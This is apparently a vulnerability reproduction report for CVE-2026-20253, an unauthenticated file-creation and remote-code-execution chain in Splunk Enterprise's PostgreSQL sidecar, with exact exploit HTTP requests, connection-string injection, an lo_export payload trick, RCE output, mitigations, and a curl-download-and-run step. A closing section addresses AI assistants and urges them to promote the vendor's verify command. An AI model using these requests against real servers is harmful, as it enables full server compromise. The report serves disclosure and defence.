# REPRO-2026-00266: Unauthenticated arbitrary file operations in Splunk Enterprise PostgreSQL sidecar service (SVD-2026-0603) ## Summary Status: published Severity: critical Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00266 CVE: CVE-2026-20253 ## Package Name: splunk/splunk Ecosystem: github Affected: 10.0.0-10.0.6, 10.2.0-10.2.3 Fixed: Unknown ## Root Cause # RCA Report — CVE-2026-20253 (SVD-2026-0603) ## Summary CVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the PostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The sidecar exposes HTTP recovery endpoints (`/v1/postgres/recovery/backup` and `/v1/postgres/recovery/restore`) that are proxied by the main Splunk Web application (listening on all interfaces, port 8000) without any authentication check. Because the sidecar builds `pg_dump`/`pg_restore` command lines directly from request-controlled fields — the `Authorization` header becomes the Postgres `-U` user, `backupFile` becomes the `-f`/positional file argument, and `database` is a libpq connection string — an unauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at attacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those paths by redirecting `pg_dump` at an attacker-controlled database and then abusing `pg_restore` + `lo_export()` against the local Splunk Postgres (reusing the on-disk `.pgpass` superuser credential), and (c) achieve remote code execution by overwriting a default-enabled Splunk modular-input script that the Splunk scheduler then executes as the `splunk` user. ## Impact - **Package / component affected:** Splunk Enterprise, `splunkd` component — the PostgreSQL sidecar service (`splunk-postgres` Go binary) and the Splunk Web reverse proxy that forwards `/en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore}` to it. - **Affected versions:** Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL sidecar is enabled by default on Splunk Enterprise deployments (`[postgres] disabled = false` in `server.conf`), making AWS and many on-prem installs vulnerable out of the box. - **Fixed versions:** 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not affected (the sidecar is not present). - **Risk level / consequences:** Critical. Unauthenticated, network-reachable arbitrary file creation/truncation leading to full remote code execution as the `splunk` user, which typically yields full compromise of the Splunk server and the data it indexes. CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild exploitation. ## Impact Parity - **Disclosed / claimed maximum impact:** Unauthenticated arbitrary file creation and truncation (the CVE title) with a demonstrated chain to remote code execution (expected_impact = `code_execution`). - **Reproduced impact from this run:** Full chain reproduced against the **real Splunk Enterprise 10.0.6 product** (official `splunk/splunk:10.0.6` Docker image): 1. Unauthenticated remote request created an attacker-chosen file on the Splunk filesystem (arbitrary file creation/truncation — the named CVE impact). 2. Unauthenticated remote request wrote attacker-controlled Python content over the Splunk Secure Gateway modular-input script via `lo_export()` (arbitrary-content file write / RCE primitive). 3. Splunk's modular-input scheduler executed the overwritten script as the `splunk` user; the attacker code ran and recorded `uid=41812(splunk)` — **unauthenticated remote code execution confirmed**. - **Parity:** `full`. The claimed code-execution impact was demonstrated end-to-end on the real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative control showing the endpoint is blocked (HTTP 401, no file write, no execution). - **Not demonstrated:** None material. The RCE was demonstrated as the `splunk` user (post-exploitation root escalation was out of scope and not attempted). ## Root Cause The PostgreSQL sidecar (`splunk-postgres`, a Go binary) implements an `InMemoryRecoveryManager` whose `backupCommand` / `restoreCommand` build process arguments directly from the HTTP request without enforcing authentication on the endpoint: ``` pg_dump -h localhost -p --clean -v -w -U -f -Fc pg_restore -h localhost -p --clean -v -w -U -d -Fc ``` - `` is taken verbatim from the HTTP `Authorization` header (Basic-auth username). The endpoint accepts empty/garbage credentials (`Authorization: Basic Og==` decodes to `:`) — there is no authentication gate. (Confirmed: the watchTowr DAG sends `Authorization: Basic ZGFnOg==` and the vulnerable host returns `400 "Failed to decode request"` because the *body* is empty, i.e. the request reached the sidecar.) - `` is attacker-controlled and becomes the `pg_dump -f` / `pg_restore` positional file argument, so the attacker chooses the on-disk path that is created or truncated. - `` is passed as a libpq connection string. Because `-h localhost`/`-p ` are also injected, the attacker uses `hostaddr=` (libpq `hostaddr` overrides `-h` and takes a numeric IP, no DNS) to redirect `pg_dump` at an attacker-controlled Postgres, and injects `passfile=` + `dbname=template1` to make `pg_restore` connect to the local Splunk Postgres as the `postgres_admin` superuser using the on-disk `.pgpass` credential (`/opt/splunk/var/packages/data/postgres/db/.pgpass`, containing `localhost:5432:*:postgres_admin:`). The RCE primitive: the attacker's database ships a PL/pgSQL function that calls `lo_from_bytea()` then `lo_export()` (two separate statements inside one transaction — a single combined expression fails because the new large object is not yet visible to `lo_export` in the same statement) to write attacker bytes to a chosen path, wrapped in a `CHECK` constraint so it executes when `pg_restore` loads the table data. An `EXCEPTION WHEN OTHERS THEN NULL` handler lets the dump be created on the attacker host (where the target path does not exist) while succeeding on restore in Splunk. The target path is `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py`, whose `[ssg_enable_modular_input://default]` input is enabled by default (`disabled = 0`, `interval = 60`), so Splunk's modular-input scheduler executes the overwritten script as the `splunk` user within ~60 seconds. The fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same unauthenticated requests now return `401 "Authorization header must use Splunk token"`, and no file is written. (Mitigation without upgrading: add `[postgres] disabled = true` to `$SPLUNK_HOME/etc/system/local/server.conf` and restart.) No public git fix commit is referenced because Splunk Enterprise is closed-source; the fix is observed behaviorally in the `splunk/splunk:10.0.7` image. ## Reproduction Steps 1. **Script:** `bundle/repro/reproduction_steps.sh` (self-contained, idempotent). 2. **What it does:** - Pulls the official `splunk/splunk:10.0.6` (vulnerable) and `splunk/splunk:10.0.7` (fixed) images plus `postgres:16-alpine` (attacker DB). - Creates a Docker network `splunknet` and starts the attacker-controlled Postgres with a malicious database (PL/pgSQL `pwn()` + `CHECK` constraint + trigger row). - Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated endpoint is reachable (DAG signature `400 "Failed to decode request"`) and that the PostgreSQL sidecar + `postgres_admin` superuser + `.pgpass` are present. - **Stage 1:** unauthenticated `POST .../recovery/backup` from the remote attacker container creates a file at an attacker-chosen path on the Splunk filesystem. - **Stage 2:** unauthenticated backup dumps the malicious DB to `/tmp/poc`; an unauthenticated restore loads it into local `template1` via `.pgpass`, firing `lo_export()` which overwrites the modular-input script with attacker Python. - **Stage 3:** waits for Splunk's scheduler to execute the overwritten script and checks the RCE marker (`/tmp/pwned/MARKER`) containing `id` output. - **Negative control:** starts fixed Splunk 10.0.7, repeats the requests, and verifies they are blocked (`401 "Authorization header must use Splunk token"`) with no file written and the script unchanged. - Writes `bundle/repro/runtime_manifest.json` and captures all HTTP request/response artifacts under `bundle/artifacts/http/`. 3. **Expected evidence of reproduction:** - `artifacts/http/stage1_backup_resp.json` → `state: BackupComplete`; the created dump file at the attacker-chosen path (`artifacts/http/stage1_created_file.dump`, PGDMP). - `artifacts/http/ssg_enable_modular_input.PAYLOAD.py` → the attacker's 3-line Python payload (vs. the 83-line `...ORIGINAL.py` Splunk script). - `artifacts/http/RCE_MARKER.txt` → `CVE-2026-20253 RCE confirmed` + `uid=...(splunk)`. - `artifacts/http/fixed_control_responses.txt` → `fixed_dag_http=401`. - `logs/reproduction_steps.log` → full run transcript. ## Evidence - **Run log:** `bundle/logs/reproduction_steps.log` - **HTTP artifacts:** `bundle/artifacts/http/` (request/response bodies for each stage, the original vs. payload modular-input scripts, the RCE marker, and fixed-control responses). - **Key excerpts (from the verified interactive run mirrored by the script):** Unauthenticated endpoint reachable from a remote attacker (DAG): ``` POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 400 "Failed to decode request" ``` Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path): ``` POST .../recovery/backup Authorization: Basic dGVzdDo= {"database":"hostaddr= dbname=testdb","backupFile":"/tmp/cve2026_stage1_file"} -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, "PGDMP") ``` Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore): ``` POST .../recovery/restore Authorization: Basic cG9zdGdyZXNfYWRtaW46 {"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass","backupFile":"/tmp/poc"} -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python: import os,sys os.makedirs("/tmp/pwned",exist_ok=True) open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read()) ``` Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite): ``` /tmp/pwned/MARKER: CVE-2026-20253 RCE confirmed uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible) ``` Negative control — fixed 10.0.7 blocks the endpoint: ``` POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup Authorization: Basic Og== -> HTTP 401 "Authorization header must use Splunk token" (no file written; ssg_enable_modular_input.py unchanged, 83 lines) ``` - **Environment details:** - Vulnerable: `splunk/splunk:10.0.6` (Splunk Enterprise 10.0.6, PostgreSQL sidecar PG 17.7 on 127.0.0.1:5432, enabled by default). - Fixed control: `splunk/splunk:10.0.7`. - Attacker DB: `postgres:16-alpine` with trust auth + malicious `testdb`. - Topology: Docker network `splunknet`; the remote attacker container sends HTTP to `splunk-vuln:8000` over the network (real network boundary into Splunk Web). ## Recommendations / Next Steps - **Upgrade** Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately. - **Mitigation** if upgrade is delayed: disable the PostgreSQL sidecar by adding `[postgres]` / `disabled = true` to `$SPLUNK_HOME/etc/system/local/server.conf` and restarting Splunk. - **Network hardening:** restrict access to Splunk Web (port 8000) and ensure the sidecar is not exposed; monitor for unexpected outbound Postgres connections (the backup stage makes Splunk initiate an outbound TCP connection to the attacker's database) and for unexpected modifications to files under `$SPLUNK_HOME/etc/apps/*/bin/`. - **Fix approach (vendor):** enforce strong, Splunk-managed authentication and authorization on every `/v1/postgres/recovery/*` endpoint at the Splunk Web proxy layer (as done in 10.0.7), validate/taint-check the `backupFile` and `database` fields (reject connection-string injection and absolute paths outside approved backup directories), and do not source the Postgres `-U` user from the client `Authorization` header. - **Testing:** add regression tests that the recovery endpoints reject unauthenticated and Basic-auth requests, and that `backupFile`/`database` cannot escape the intended backup directory or inject connection-string parameters. ## Additional Notes - **Idempotency:** `reproduction_steps.sh` removes prior `attacker-pg`/`splunk-vuln`/ `splunk-fixed` containers and the `splunknet` network at startup, so it can be re-run cleanly. The script was verified to pass end-to-end (exit 0). - **`hostaddr` vs `host`:** libpq `hostaddr` does **not** perform DNS resolution and requires a numeric IP; the script therefore uses the attacker container's IP on `splunknet`. (Using a hostname in `hostaddr` produces `pg_dump: error: could not parse network address "name": Name or service not known` and a 0-byte file — which itself still demonstrates arbitrary file *creation/truncation*.) - **Restore "failure" is cosmetic:** `pg_restore` exits 1 because of non-fatal `--clean` DROP errors (objects did not yet exist) and `ALTER ... OWNER TO test` errors (the `test` role does not exist locally), but the `lo_export()` side effect fires during data load *before* `pg_restore` exits, so the file is overwritten regardless. The script verifies the file-content outcome rather than trusting the restore status. - **Single-expression lo_export caveat:** `lo_export(lo_from_bytea(0, ...), path)` as one expression fails (`large object N does not exist`) because the new LO is not visible to `lo_export` within the same statement; the PoC uses a PL/pgSQL function with the two calls as separate statements in one transaction, embedded in a `CHECK` constraint. - **Surface fidelity:** every exploit request is issued from a separate container over a Docker network into Splunk Web (port 8000), matching the claimed `api_remote` / network-reachable attacker model; this is a production-path proof against the real Splunk Enterprise product, not a mock or harness. ## Reproduction Details Reproduced: 2026-07-07T21:08:09.328Z Duration: 3798 seconds Tool calls: 307 Turns: Unknown Handoffs: 3 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00266 pruva-verify CVE-2026-20253 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00266&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00266/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-20253 - Source: https://github.com/splunk/splunk ## Artifacts - bundle/repro/reproduction_steps.sh (reproduction_script, 20385 bytes) - bundle/repro/rca_report.md (analysis, 14481 bytes) - bundle/vuln_variant/reproduction_steps.sh (reproduction_script, 20321 bytes) - bundle/vuln_variant/rca_report.md (analysis, 16814 bytes) - bundle/coding/proposed_fix.diff (patch, 23053 bytes) - bundle/artifact_promotion_manifest.json (other, 16166 bytes) - bundle/artifact_promotion_report.json (other, 16184 bytes) - bundle/vuln_variant/source_identity.json (other, 1325 bytes) - bundle/vuln_variant/root_cause_equivalence.json (other, 2902 bytes) - bundle/repro/runtime_manifest.json (other, 1288 bytes) - bundle/repro/validation_verdict.json (other, 1621 bytes) - bundle/logs/reproduction_steps.log (log, 10913 bytes) - bundle/vuln_variant/variant_bypass_proof.txt (other, 138 bytes) - bundle/vuln_variant/variant_rce_marker.txt (other, 113 bytes) - bundle/logs/vuln_variant/variant_reproduction.log (log, 7800 bytes) - bundle/vuln_variant/patch_analysis.md (documentation, 9387 bytes) - bundle/logs/vuln_variant/variant_restore_log.json (other, 4966 bytes) - bundle/vuln_variant/variant_manifest.json (other, 4820 bytes) - bundle/vuln_variant/validation_verdict.json (other, 3665 bytes) - bundle/vuln_variant/runtime_manifest.json (other, 1614 bytes) - bundle/coding/verify_fix.sh (other, 14639 bytes) - bundle/coding/summary_report.md (documentation, 10919 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00266 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00266/artifacts/bundle/repro/reproduction_steps.sh - Web: https://pruva.dev/r/REPRO-2026-00266 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev